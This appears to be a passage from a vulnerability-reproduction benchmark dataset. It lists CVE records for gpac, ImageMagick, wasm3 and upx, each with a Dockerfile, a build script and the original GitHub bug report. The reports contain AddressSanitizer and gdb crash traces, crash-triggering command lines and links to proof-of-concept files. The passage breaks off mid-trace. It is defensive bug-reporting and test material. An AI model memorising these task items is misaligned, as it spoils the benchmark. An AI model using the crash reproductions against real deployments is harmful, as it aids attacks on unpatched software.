[ { "sha": "1bb93d4fce9f1d764ba57bf5ac154af515b3fc83", "url": "https://github.com/upx/upx/commit/1bb93d4fce9f1d764ba57bf5ac154af515b3fc83" } ]
gpac.cve-2024-57184
gpac/gpac
ad3ca600020e01dd514874ab67c28b53c57d0d4c
2020-03-05T08:35:08
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout ad3ca600020e01dd514874ab67c28b53c57d0d4c WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1421 ## Description: Issue: gpac/gpac#1421 Title: AddressSanitizer: heap-buffer-overflow media_tools/mpegts.c:2163 in gf_m2ts_process_pmt State: closed Created by: dr3dd589 Created at: 2020-02-29 21:56:39+00:00 Issue Body: Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ System info: Ubuntu 18.04.6 LTS, X64, gcc version 7.4.0, gpac (latest master 4a7a63) Compile Command: ```asm $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ```asm ./MP4Box -dash 1000 crsh1 ``` ASAN info: ```asm ================================================================= ==9568==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000491 at pc 0x55a56f2ac689 bp 0x7fff440c4d00 sp 0x7fff440c4cf0 READ of size 1 at 0x602000000491 thread T0 #0 0x55a56f2ac688 in gf_m2ts_process_pmt media_tools/mpegts.c:2163 #1 0x55a56f29e975 in gf_m2ts_section_complete media_tools/mpegts.c:1610 #2 0x55a56f29f3ab in gf_m2ts_gather_section media_tools/mpegts.c:1740 #3 0x55a56f2a519e in gf_m2ts_process_packet media_tools/mpegts.c:3446 #4 0x55a56f2a519e in gf_m2ts_process_data media_tools/mpegts.c:3507 #5 0x55a56f2b4886 in gf_m2ts_probe_file media_tools/mpegts.c:4641 #6 0x55a56f1dc7f0 in gf_dash_segmenter_probe_input media_tools/dash_segmenter.c:5505 #7 0x55a56f20350a in gf_dasher_add_input media_tools/dash_segmenter.c:6669 #8 0x55a56eddea6f in mp4boxMain /home/dr3dd/fuzzing/gpac/applications/mp4box/main.c:4704 #9 0x7f56187cfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x55a56edcd7a9 in _start (/home/dr3dd/fuzzing/gpac/bin/gcc/MP4Box+0x1657a9) 0x602000000491 is located 0 bytes to the right of 1-byte region [0x602000000490,0x602000000491) allocated by thread T0 here: #0 0x7f5619457b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55a56f29dfb5 in gf_m2ts_section_complete media_tools/mpegts.c:1550 #2 0x55a56f664196 (/home/dr3dd/fuzzing/gpac/bin/gcc/MP4Box+0x9fc196) SUMMARY: AddressSanitizer: heap-buffer-overflow media_tools/mpegts.c:2163 in gf_m2ts_process_pmt Shadow bytes around the buggy address: 0x0c047fff8040: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8050: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8060: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8070: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8080: fa fa 00 00 fa fa 03 fa fa fa 00 00 fa fa 00 00 =>0x0c047fff8090: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==9568==ABORTING ``` gdb Info: ```asm Program received signal SIGSEGV, Segmentation fault. 0x0000555555d47488 in gf_m2ts_process_pmt (ts=<optimized out>, pmt=<optimized out>, sections=<optimized out>, table_id=<optimized out>, ex_table_id=<optimized out>, version_number=<optimized out>, last_section_number=<optimized out>, status=<optimized out>) at media_tools/mpegts.c:2541 2541 if (es->stream_type == GF_M2TS_VIDEO_HEVC) nb_hevc++; (gdb) bt #0 0x0000555555d47488 in gf_m2ts_process_pmt (ts=<optimized out>, pmt=<optimized out>, sections=<optimized out>, table_id=<optimized out>, ex_table_id=<optimized out>, version_number=<optimized out>, last_section_number=<optimized out>, status=<optimized out>) at media_tools/mpegts.c:2541 #1 0x0000555555d35506 in gf_m2ts_section_complete (ts=ts@entry=0x5555562c5a40, sec=sec@entry=0x5555562d74a0, ses=ses@entry=0x5555562d73f0) at media_tools/mpegts.c:1610 #2 0x0000555555d3638a in gf_m2ts_gather_section (ts=ts@entry=0x5555562c5a40, sec=0x5555562d74a0, ses=ses@entry=0x5555562d73f0, data=0x7ffffffa680d "", data@entry=0x7ffffffa67ef "", data_size=<optimized out>, hdr=<optimized out>, hdr=<optimized out>) at media_tools/mpegts.c:1740 #3 0x0000555555d3f3be in gf_m2ts_process_packet (data=0x7ffffffa67ef "", ts=0x5555562c5a40) at media_tools/mpegts.c:3446 #4 gf_m2ts_process_data (ts=ts@entry=0x5555562c5a40, data=data@entry=0x7ffffffa66e0 "\377\377\377\376zWCG@", data_size=<optimized out>) at media_tools/mpegts.c:3507 #5 0x0000555555d54ca1 in gf_m2ts_probe_file (fileName=<optimized out>) at media_tools/mpegts.c:4641 #6 0x0000555555bf0844 in gf_dash_segmenter_probe_input (io_dash_inputs=io_dash_inputs@entry=0x5555562c4978, nb_dash_inputs=nb_dash_inputs@entry=0x5555562c4980, idx=idx@entry=0) at media_tools/dash_segmenter.c:5505 #7 0x0000555555c2dabb in gf_dasher_add_input (dasher=0x5555562c4970, input=<optimized out>) at media_tools/dash_segmenter.c:6669 #8 0x00005555555c88f5 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at main.c:4704 #9 0x00007ffff722bb97 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #10 0x00005555555a3e0a in _start () at main.c:5985 (gdb) ``` here is crash file: [crsh1.zip](https://github.com/gpac/gpac/files/4271005/crsh1.zip) Attachments: https://github.com/gpac/gpac/files/4271005/crsh1.zip Commit References: eec9e058a9486fe4e99c33021481d9e1826ca9db
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "8c5e847185d74462d674ee7d28fb46c29dae6dd2", "url": "https://github.com/gpac/gpac/commit/8c5e847185d74462d674ee7d28fb46c29dae6dd2" }, { "sha": "eec9e058a9486fe4e99c33021481d9e1826ca9db", "url": "https://github.com/gpac/gpac/commit/eec9e058a9486fe4e99c33021481d9e1826ca9db" } ]
imagemagick.cve-2019-13297
imagemagick/imagemagick
a7759f410b773a1dd57b0e1fb28112e1cd8b97bc
2019-06-21T15:51:38
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout a7759f410b773a1dd57b0e1fb28112e1cd8b97bc WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash # Default build script template for C/C++ projects set -eu # Define configuration options CONFIG_OPTS="--disable-shared" CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug" MAKE_OPTS="-j$(nproc)" BUILD_DIR="build" # 1. Run build preparation scripts if they exist for prep_script in buildconf autogen.sh bootstrap; do if [ -x "$prep_script" ]; then echo "Running $prep_script..." ./$prep_script break elif [ -f "$prep_script" ]; then echo "Found $prep_script but it's not executable, setting permissions..." chmod +x $prep_script ./$prep_script break fi done # 2. Handle different build systems if [ -f "configure" ]; then echo "Found configure script, running with options: $CONFIG_OPTS" ./configure $CONFIG_OPTS echo "Building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "CMakeLists.txt" ]; then echo "Found CMakeLists.txt, using CMake build system" mkdir -p $BUILD_DIR cd $BUILD_DIR cmake $CMAKE_OPTS .. make $MAKE_OPTS elif [ -f "Makefile" ] || [ -f "makefile" ]; then echo "Found Makefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "meson.build" ]; then echo "Found meson.build, using Meson build system" mkdir -p $BUILD_DIR meson setup $BUILD_DIR . cd $BUILD_DIR ninja elif [ -f "GNUmakefile" ]; then echo "Found GNUmakefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -d ".git" ] && [ -f "Makefile.am" ]; then echo "Found Makefile.am, running autoreconf" autoreconf -i ./configure $CONFIG_OPTS make $MAKE_OPTS else echo "WARNING: No recognized build system found!" echo "Trying generic approach:" # Try to detect common source patterns and compile them if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then echo "Found C/C++ source files, attempting direct compilation" if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then CXX=${CXX:-g++} echo "Compiling C++ sources with $CXX" $CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true elif ls *.c >/dev/null 2>&1; then CC=${CC:-gcc} echo "Compiling C sources with $CC" $CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true fi fi fi
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/1609 ## Description: Issue: ImageMagick/ImageMagick#1609 Title: heap-buffer-overflow at MagickCore/threshold.c:328:11 in AdaptiveThresholdImage State: closed Created by: SuhwanSong Created at: 2019-06-21 06:02:04+00:00 Labels: bug Issue Body: ### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/threshold.c:328:11 in AdaptiveThresholdImage. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -dispose Background "(" magick:netscape -lat 514x0-41 ")" "(" magick:granite -charcoal 3 -level 0%,125,0.328 ")" -combine -print "" tmp` Here's ASAN log. ``` ==22189==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x620000001090 at pc 0x7fd7e5dd4be2 bp 0x7ffd816c3a30 sp 0x7ffd816c3a28 READ of size 4 at 0x620000001090 thread T0 #0 0x7fd7e5dd4be1 in AdaptiveThresholdImage MagickCore/threshold.c:328:11 #1 0x7fd7e5386cb6 in CLISimpleOperatorImage MagickWand/operation.c:2571:21 #2 0x7fd7e537bc78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #3 0x7fd7e53a1315 in CLIOption MagickWand/operation.c:5273:16 #4 0x7fd7e51e2a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #5 0x7fd7e51e3d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #6 0x7fd7e522dba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #7 0x526f95 in MagickMain utilities/magick.c:149:10 #8 0x5268e1 in main utilities/magick.c:180:10 #9 0x7fd7dfca4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x41b069 in _start (install/bin/magick+0x41b069) Address 0x620000001090 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/threshold.c:328:11 in AdaptiveThresholdImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! --> Comments: Comment by urban-warrior on 2019-06-21 21:31:26+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2019-07-08 01:48:56+00:00: This was assigned CVE-2019-13297.
[]
[ { "sha": "604588fc35c7585abb7a9e71f69bb82e4389fefc", "url": "https://github.com/ImageMagick/ImageMagick/commit/604588fc35c7585abb7a9e71f69bb82e4389fefc" }, { "sha": "35c7032723d85eee7318ff6c82f031fa2666b773", "url": "https://github.com/ImageMagick/ImageMagick6/commit/35c7032723d85eee7318ff6c82f031fa2666b773" } ]
wasm3.cve-2022-39974
wasm3/wasm3
6b8bcb1e07bf26ebef09a7211b0a37a446eafd52
2021-06-02T05:40:14
wasm3
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make RUN git clone https://github.com/wasm3/wasm3 wasm3 RUN git -C wasm3 checkout 6b8bcb1e07bf26ebef09a7211b0a37a446eafd52 WORKDIR $SRC/wasm3 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build && cd build cmake -DBUILD_WASI=none .. make -j$(nproc)
/src/wasm3
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/wasm3/wasm3/issues/379 ## Description: Issue: wasm3/wasm3#379 Title: SEGV wasm3/source/m3_exec.h:1078 in op_Select_i32_srs State: closed Created by: ioo0s Created at: 2022-08-29 02:19:49+00:00 Labels: wasm-validation Issue Body: Gdb info ``` Program received signal SIGSEGV, Segmentation fault. 0x00005555555bbf69 in op_Select_i32_srs (_pc=0x62d0000004c0, _sp=0x631000000800, _mem=0x631000014800, _r0=3840, _fp0=1) at /home/ios/CVE/wasm3/source/m3_exec.h:1078 1078 d_m3Select_i (i32, _r0) LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────── RAX 0x6311556fa980 ◂— 0x0 RBX 0x7fffffffcfa0 ◂— 0x41b58ab3 RCX 0x6311556fa980 ◂— 0x0 RDX 0x0 RDI 0x3 RSI 0x631000000800 ◂— 0x1000000000000 R8 0x5555555bbe20 (op_Select_i32_srs) ◂— endbr64 R9 0x3 R10 0x555555666940 ◂— 0x74726174735f /* '_start' */ R11 0x0 R12 0xffffffff9f4 ◂— 0x0 R13 0x7fffffffcfa0 ◂— 0x41b58ab3 R14 0x7fffffffd340 ◂— 0x41b58ab3 R15 0x0 RBP 0x7fffffffcea0 —▸ 0x7fffffffcef0 —▸ 0x7fffffffcf40 —▸ 0x7fffffffd020 —▸ 0x7fffffffd100 ◂— ... RSP 0x7fffffffce60 —▸ 0xaffffcf20 ◂— 0x0 RIP 0x5555555bbf69 (op_Select_i32_srs+329) ◂— mov eax, dword ptr [rcx] ────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────── ► 0x5555555bbf69 <op_Select_i32_srs+329> mov eax, dword ptr [rcx] 0x5555555bbf6b <op_Select_i32_srs+331> mov dword ptr [rbp - 4], eax 0x5555555bbf6e <op_Select_i32_srs+334> cmp dword ptr [rbp - 0xc], 0 0x5555555bbf72 <op_Select_i32_srs+338> je op_Select_i32_srs+347 <op_Select_i32_srs+347> 0x5555555bbf74 <op_Select_i32_srs+340> mov eax, dword ptr [rbp - 4] 0x5555555bbf77 <op_Select_i32_srs+343> cdqe 0x5555555bbf79 <op_Select_i32_srs+345> jmp op_Select_i32_srs+352 <op_Select_i32_srs+352> ↓ 0x5555555bbf80 <op_Select_i32_srs+352> mov qword ptr [rbp - 0x30], rax 0x5555555bbf84 <op_Select_i32_srs+356> mov rax, qword ptr [rbp - 0x18] 0x5555555bbf88 <op_Select_i32_srs+360> mov rdx, rax 0x5555555bbf8b <op_Select_i32_srs+363> shr rdx, 3 ─────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────── In file: /home/ios/CVE/wasm3/source/m3_exec.h 1073 \ 1074 nextOp (); \ 1075 } 1076 1077 ► 1078 d_m3Select_i (i32, _r0) 1079 d_m3Select_i (i64, _r0) 1080 1081 1082 #define d_m3Select_f(TYPE, REG, LABEL, SELECTOR) \ 1083 d_m3Op (Select_##TYPE##_##LABEL##ss) \ ─────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffce60 —▸ 0xaffffcf20 ◂— 0x0 01:0008│ 0x7fffffffce68 ◂— 0x3ff0000000000000 02:0010│ 0x7fffffffce70 ◂— 0xf00 03:0018│ 0x7fffffffce78 —▸ 0x631000014800 —▸ 0x626000000100 ◂— 0x626000000100 04:0020│ 0x7fffffffce80 —▸ 0x631000000800 ◂— 0x1000000000000 05:0028│ 0x7fffffffce88 —▸ 0x62d0000004c0 —▸ 0x5555555bdea0 (op_Return) ◂— endbr64 06:0030│ 0x7fffffffce90 —▸ 0x141b58ab3 ◂— 0x0 07:0038│ 0x7fffffffce98 ◂— 0x555500000f00 ───────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────── ► f 0 0x5555555bbf69 op_Select_i32_srs+329 f 1 0x5555555a8fc5 op_f64_Ceil_s+261 f 2 0x5555555a55e6 op_i32_Divide_rs+422 f 3 0x5555555bf506 op_f32_Load_f32_s+838 f 4 0x5555555caca2 op_i32_Store_i32_ss+994 f 5 0x5555555ba807 op_SetSlot_i32+263 f 6 0x5555555b939e op_MemGrow+350 f 7 0x5555555aa330 op_i32_EqualToZero_s+272 ``` Asan Info ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==3977==ERROR: AddressSanitizer: SEGV on unknown address 0x63108b682980 (pc 0x55c322d9df69 bp 0x7ffc71ba1260 sp 0x7ffc71ba1220 T0) ==3977==The signal is caused by a READ memory access. #0 0x55c322d9df68 in op_Select_i32_srs /home/ios/CVE/wasm3/source/m3_exec.h:1078 #1 0x55c322d8afc4 in op_f64_Ceil_s /home/ios/CVE/wasm3/source/m3_exec.h:272 #2 0x55c322d875e5 in op_i32_Divide_rs /home/ios/CVE/wasm3/source/m3_exec.h:231 #3 0x55c322da1505 in op_f32_Load_f32_s /home/ios/CVE/wasm3/source/m3_exec.h:1341 #4 0x55c322dacca1 in op_i32_Store_i32_ss /home/ios/CVE/wasm3/source/m3_exec.h:1449 #5 0x55c322d9c806 in op_SetSlot_i32 /home/ios/CVE/wasm3/source/m3_exec.h:941 #6 0x55c322d9b39d in op_MemGrow /home/ios/CVE/wasm3/source/m3_exec.h:704 #7 0x55c322d8c32f in op_i32_EqualToZero_s /home/ios/CVE/wasm3/source/m3_exec.h:282 #8 0x55c322d9bf1b in op_Entry /home/ios/CVE/wasm3/source/m3_exec.h:808 #9 0x55c322dc168a in RunCode /home/ios/CVE/wasm3/source/m3_exec_defs.h:58 #10 0x55c322dc76cc in m3_CallArgv /home/ios/CVE/wasm3/source/m3_env.c:953 #11 0x55c322d65510 in repl_call /home/ios/CVE/wasm3/platforms/app/main.c:274 #12 0x55c322d682f4 in main /home/ios/CVE/wasm3/platforms/app/main.c:634 #13 0x7fcbd3bff082 in __libc_start_main ../csu/libc-start.c:308 #14 0x55c322d6422d in _start (/home/ios/CVE/wasm3/build/wasm3+0x2e22d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ios/CVE/wasm3/source/m3_exec.h:1078 in op_Select_i32_srs ==3977==ABORTING ``` current commit : `7890a2097569fde845881e0b352d813573e371f9` Poc [op_Select_i32_srs.wasm.gz](https://github.com/wasm3/wasm3/files/9441091/op_Select_i32_srs.wasm.gz) Comments: Comment by ioo0s on 2022-08-29 02:27:06+00:00: Add another poc. current commit : `7890a2097569fde845881e0b352d813573e371f9` Asan info ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==5877==ERROR: AddressSanitizer: SEGV on unknown address 0x6310731b5900 (pc 0x55571cc5f122 bp 0x7fffc6418010 sp 0x7fffc6417fd0 T0) ==5877==The signal is caused by a READ memory access. #0 0x55571cc5f121 in op_Select_i32_ssr /home/ios/CVE/wasm3/source/m3_exec.h:1078 #1 0x55571cc414bc in op_f32_GreaterThanOrEqual_rs /home/ios/CVE/wasm3/source/m3_exec.h:193 #2 0x55571cc67f00 in op_i64_Load_i32_s /home/ios/CVE/wasm3/source/m3_exec.h:1355 #3 0x55571cc59a62 in op_i32_Reinterpret_f32_s_r /home/ios/CVE/wasm3/source/m3_exec.h:489 #4 0x55571cc59882 in op_i32_Reinterpret_f32_r_s /home/ios/CVE/wasm3/source/m3_exec.h:489 #5 0x55571cc59a62 in op_i32_Reinterpret_f32_s_r /home/ios/CVE/wasm3/source/m3_exec.h:489 #6 0x55571cc4ec0d in op_i32_Trunc_f32_r_s /home/ios/CVE/wasm3/source/m3_exec.h:370 #7 0x55571cc5b21e in op_f64_Reinterpret_i64_s_s /home/ios/CVE/wasm3/source/m3_exec.h:492 #8 0x55571cc4bc43 in op_f64_Abs_s /home/ios/CVE/wasm3/source/m3_exec.h:271 #9 0x55571cc59a62 in op_i32_Reinterpret_f32_s_r /home/ios/CVE/wasm3/source/m3_exec.h:489 #10 0x55571cc59882 in op_i32_Reinterpret_f32_r_s /home/ios/CVE/wasm3/source/m3_exec.h:489 #11 0x55571cc5cf1b in op_Entry /home/ios/CVE/wasm3/source/m3_exec.h:808 #12 0x55571cc8268a in RunCode /home/ios/CVE/wasm3/source/m3_exec_defs.h:58 #13 0x55571cc886cc in m3_CallArgv /home/ios/CVE/wasm3/source/m3_env.c:953 #14 0x55571cc26510 in repl_call /home/ios/CVE/wasm3/platforms/app/main.c:274 #15 0x55571cc292f4 in main /home/ios/CVE/wasm3/platforms/app/main.c:634 #16 0x7f0541953082 in __libc_start_main ../csu/libc-start.c:308 #17 0x55571cc2522d in _start (/home/ios/CVE/wasm3/build/wasm3+0x2e22d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ios/CVE/wasm3/source/m3_exec.h:1078 in op_Select_i32_ssr ==5877==ABORTING ``` POC [op_Select_i32_ssr.zip](https://github.com/wasm3/wasm3/files/9441133/op_Select_i32_ssr.zip) --- Comment by vshymanskyy on 2022-08-29 10:31:31+00:00: @ioo0s sorry I will be closing any fuzzer reports, as this is covered by #344 Attachments: https://github.com/wasm3/wasm3/files/9441133/op_Select_i32_ssr.zip https://github.com/wasm3/wasm3/files/9441091/op_Select_i32_srs.wasm.gz Commit References: 7890a2097569fde845881e0b352d813573e371f9
[]
[ { "sha": "7890a2097569fde845881e0b352d813573e371f9", "url": "https://github.com/wasm3/wasm3/commit/7890a2097569fde845881e0b352d813573e371f9" } ]
upx.cve-2021-43313
upx/upx
e0bf4609938b0b4d2e83469fac00206a771429e5
2022-10-28T03:34:31
upx
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake RUN git clone https://github.com/upx/upx upx RUN git -C upx checkout e0bf4609938b0b4d2e83469fac00206a771429e5 WORKDIR $SRC/upx COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sed -i 's/ \&\& __clang_major__ < 15//m' /src/upx/src/util/util.cpp mkdir -p build/debug cd build/debug cmake ../.. cmake --build . --target $fuzz_basename -v
/src/upx
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/upx/upx/issues/378 ## Description: Issue: upx/upx#378 Title: [bug]heap buffer overflow in PackLinuxElf32::invert_pt_dynamic at p_lx_elf.cpp:1688 State: closed Created by: 14isnot40 Created at: 2020-05-23 14:19:31+00:00 Issue Body: ## What's the problem (or question)? A heap-based buffer overflow was discovered in upx, during the variable 'bucket' points to an inaccessible address. The issue is being triggered in the function PackLinuxElf32::invert_pt_dynamic at p_lx_elf.cpp:1688. ASAN reports: ```bash ==110358==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61600000fed9 at pc 0x00000045acc8 bp 0x7ffd88c9b020 sp 0x7ffd88c9b010 READ of size 4 at 0x61600000fed9 thread T0 #0 0x45acc7 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:1688 #1 0x463ba5 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:1583 #2 0x463ba5 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:305 #3 0x464e96 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.h:395 #4 0x464e96 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4800 #5 0x464e96 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4817 #6 0x464e96 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4828 #7 0x4f337a in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:190 #8 0x4f50f9 in PackMaster::getUnpacker(InputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:248 #9 0x4f521f in PackMaster::unpack(OutputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:266 #10 0x52a1e6 in do_one_file(char const*, char*) /home/test/Desktop/EVAULATION/upx/src/work.cpp:160 #11 0x52a69e in do_files(int, int, char**) /home/test/Desktop/EVAULATION/upx/src/work.cpp:271 #12 0x403ace in main /home/test/Desktop/EVAULATION/upx/src/main.cpp:1538 #13 0x7ff33c8dc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x404828 in _start (/home/test/Desktop/EVAULATION/upx/src/upx.out+0x404828) 0x61600000fed9 is located 1 bytes to the right of 600-byte region [0x61600000fc80,0x61600000fed8) allocated by thread T0 here: #0 0x7ff33d4d0602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x42732a in MemBuffer::alloc(unsigned long long) /home/test/Desktop/EVAULATION/upx/src/mem.cpp:194 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:1688 PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) Shadow bytes around the buggy address: 0x0c2c7fff9f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fff9f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c2c7fff9fd0: 00 00 00 